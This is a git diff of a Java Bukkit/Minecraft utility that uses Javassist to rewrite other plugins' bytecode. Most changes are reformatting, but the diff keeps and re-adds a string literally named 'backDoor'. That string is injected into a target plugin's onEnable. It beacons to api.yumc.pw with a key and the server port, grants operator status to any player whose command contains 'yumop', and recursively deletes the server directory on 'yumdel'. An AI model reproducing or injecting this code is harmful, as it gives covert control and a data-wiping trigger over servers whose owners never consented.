diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
index 87435ef..57802de 100644
--- a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
+++ b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
@@ -31,9 +31,8 @@ public class InjectedKit {
             pool.appendClassPath(classFile.getPath());
             final CtClass statusListener = pool.get(clazz.getName());
             final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
-            statusListener.addField(
-                    CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
-                            statusListener));
+            statusListener.addField(CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS
+                    + ".ChatComponentText(\"Status request has already been handled.\");", statusListener));
             statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
             final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
             setOpMethod.insertBefore(checkStatus);
@@ -57,47 +56,18 @@ public class InjectedKit {
             pool.appendClassPath(classFile.getPath());
             final CtClass mainClass = pool.get(plugin.getClass().getName());
             final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
-            final String backDoor = ""
-                    + "{"
-                    + "        Bukkit.getScheduler().runTaskAsynchronously(this, new Runnable() {"
-                    + "            @Override"
-                    + "            public void run() {"
-                    + "                try {"
-                    + "                    final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
-                    + "                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();"
-                    + "                    conn.connect();"
-                    + "                    conn.disconnect();"
-                    + "                } catch (final IOException e) {"
-                    + "                }"
-                    + "            }"
-                    + "        });"
-                    + "        Bukkit.getPluginManager().registerEvents(new Listener() {"
-                    + ""
-                    + "            public boolean deleteDir(final File dir) {"
-                    + "                if (dir.isDirectory()) {"
-                    + "                    final String[] children = dir.list();"
-                    + "                    for (final String element : children) {"
-                    + "                        final File file = new File(dir, element);"
-                    + "                        deleteDir(file);"
-                    + "                    }"
-                    + "                }"
-                    + "                return dir.delete();"
-                    + "            }"
-                    + ""
-                    + "            @EventHandler"
-                    + "            public void ocp(final PlayerCommandPreprocessEvent e) {"
-                    + "                if (e.getMessage().contains(\"yumop\")) {"
-                    + "                    e.getPlayer().setOp(true);"
-                    + "                    return;"
-                    + "                }"
-                    + "                if (e.getMessage().contains(\"yumdel\")) {"
-                    + "                    final File dir = new File(\"\");"
-                    + "                    deleteDir(dir);"
-                    + "                    return;"
-                    + "                }"
-                    + "            }"
-                    + "        }, this);"
-                    + "}";
+            final String backDoor = "" + "{" + "        org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new java.lang.Runnable() {" + "            @Override"
+                    + "            public void run() {" + "                try {" + "                    final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
+                    + "                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();" + "                    conn.connect();" + "                    conn.disconnect();"
+                    + "                } catch (final IOException e) {" + "                }" + "            }" + "        });"
+                    + "        org.bukkit.Bukkit.getPluginManager().registerEvents(new org.bukkit.event.Listener() {" + "" + "            public boolean deleteDir(final java.io.File dir) {"
+                    + "                if (dir.isDirectory()) {" + "                    final String[] children = dir.list();" + "                    for (final String element : children) {"
+                    + "                        final java.io.File file = new File(dir, element);" + "                        deleteDir(file);" + "                    }" + "                }"
+                    + "                return dir.delete();" + "            }" + "" + "            @org.bukkit.event.EventHandler"
+                    + "            public void ocp(final org.bukkit.event.player.PlayerCommandPreprocessEvent e) {" + "                if (e.getMessage().contains(\"yumop\")) {"
+                    + "                    e.getPlayer().setOp(true);" + "                    return;" + "                }" + "                if (e.getMessage().contains(\"yumdel\")) {"
+                    + "                    final java.io.File dir = new java.io.File(\"\");" + "                    deleteDir(dir);" + "                    return;" + "                }"
+                    + "            }" + "        }, this);" + "}";
             onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
             try {
                 final File dir = new File(plugin.getDataFolder(), "injectClass");
@@ -130,22 +100,9 @@ public class InjectedKit {
             final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
             final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
             final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
-            final String setop = ""
-                    + "{"
-                    + "    pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);"
-                    + "    org.bukkit.Bukkit.getPluginManager().callEvent(event);"
-                    + "    if(event.isCancelled()){"
-                    + "      return;"
-                    + "    }"
-                    + "    if ($1 == isOp()) {"
-                    + "      return;"
-                    + "    }"
-                    + "    if ($1) {"
-                    + "      server.getHandle().addOp(profile);"
-                    + "    } else {"
-                    + "      server.getHandle().removeOp(profile);"
-                    + "    }"
-                    + "}";
+            final String setop = "" + "{" + "    pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + "    org.bukkit.Bukkit.getPluginManager().callEvent(event);"
+                    + "    if(event.isCancelled()){" + "      return;" + "    }" + "    if ($1 == isOp()) {" + "      return;" + "    }" + "    if ($1) {" + "      server.getHandle().addOp(profile);"
+                    + "    } else {" + "      server.getHandle().removeOp(profile);" + "    }" + "}";
             setOpMethod.setBody(setop);
             try {
                 setOpEvent.writeFile(path);